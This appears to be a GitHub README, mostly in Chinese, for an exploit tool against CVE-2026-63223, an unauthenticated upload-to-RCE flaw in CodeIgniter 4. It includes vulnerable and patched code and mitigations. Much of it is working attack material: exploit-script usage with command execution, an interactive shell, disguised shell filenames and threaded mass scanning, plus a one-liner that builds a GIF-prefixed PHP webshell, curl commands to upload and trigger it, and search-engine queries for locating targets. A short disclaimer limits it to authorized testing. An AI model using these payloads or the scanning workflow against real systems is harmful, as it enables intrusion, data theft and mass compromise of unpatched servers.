CVE-2026-63223 是一个严重等级(CVSS 9.8)的未认证远程代码执行漏洞,影响 CodeIgniter 4(一个 PHP 全栈 Web 框架)4.7.4 之前的版本。
该漏洞利用了 is_image 和 mime_in 文件上传验证规则,这些规则仅检查由内容推导出的 MIME 类型(魔术字节),而不验证客户端提供的文件扩展名。攻击者将图片魔术字节(GIF89a、JPEG、PNG 文件头)添加到 PHP 代码前端,将文件命名为 shell.php,通过验证后,文件落入 Web 可访问且可执行 PHP 的目录即可实现 RCE。
CVSS: 9.8 严重 —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H发现时间: 2026 年 7 月 31 日 | 公告: GHSA-mmj4-63m4-r6h5 修复版本: CodeIgniter 4 v4.7.4
| 版本 | 状态 |
|---|---|
| < 4.7.4 | 受影响 |
| 4.7.4+ | 已修复 |
CWE: CWE-434 — 危险类型文件的无限制上传 参考 PoC: imbas007/CVE-2026-63223-POC
CodeIgniter 4 的 is_image 验证规则通过 Mimes::guessTypeFromExtension() 映射 getExtension()(返回由魔术字节推导出的扩展名,例如 gif)来判断文件是否为图片。客户端提供的文件扩展名(getClientExtension(),例如 php)从未被检查:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — 前者由魔术字节推导(gif),后者来自客户端文件名(php)is_image 通过,因为 Mimes::guessTypeFromExtension("gif") 返回 image/gif$file->move($path, $file->getClientName()) 保留了 .php 扩展名1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
该修复新增了 hasInvalidImageClientExtension() — 现在也会检查客户端扩展名:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
关键变化:is_image 现在同时验证 getExtension()(由内容推导,用于实际的图片检查)和 getClientExtension()(由客户端提供,用于拒绝 .php 等非图片扩展名)。
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
成功利用可获得 Web 服务器用户权限下的远程代码执行:
.env 文件获取数据库凭据无需任何账户或身份验证——默认情况下,使用 is_image/mime_in 而未搭配 ext_in 的上传端点即为易受攻击状态。
is_image/mime_in 与 ext_in 验证规则搭配使用readfile() 代理提供访问getRandomName() 生成由服务器控制的文件名仅供教育和授权测试用途。
未经明确许可,请勿针对任何系统使用。作者对滥用行为不承担任何责任。
| 资源 | 链接 |
|---|---|
| GitHub 安全公告 | GHSA-mmj4-63m4-r6h5 |
| 参考 PoC | imbas007/CVE-2026-63223-POC |
| NVD 条目 | CVE-2026-63223 |
| CodeIgniter v4.7.4 | 更新日志 |
| CWE-434 | 无限制上传 |
与 CodeIgniter 基金会无关联。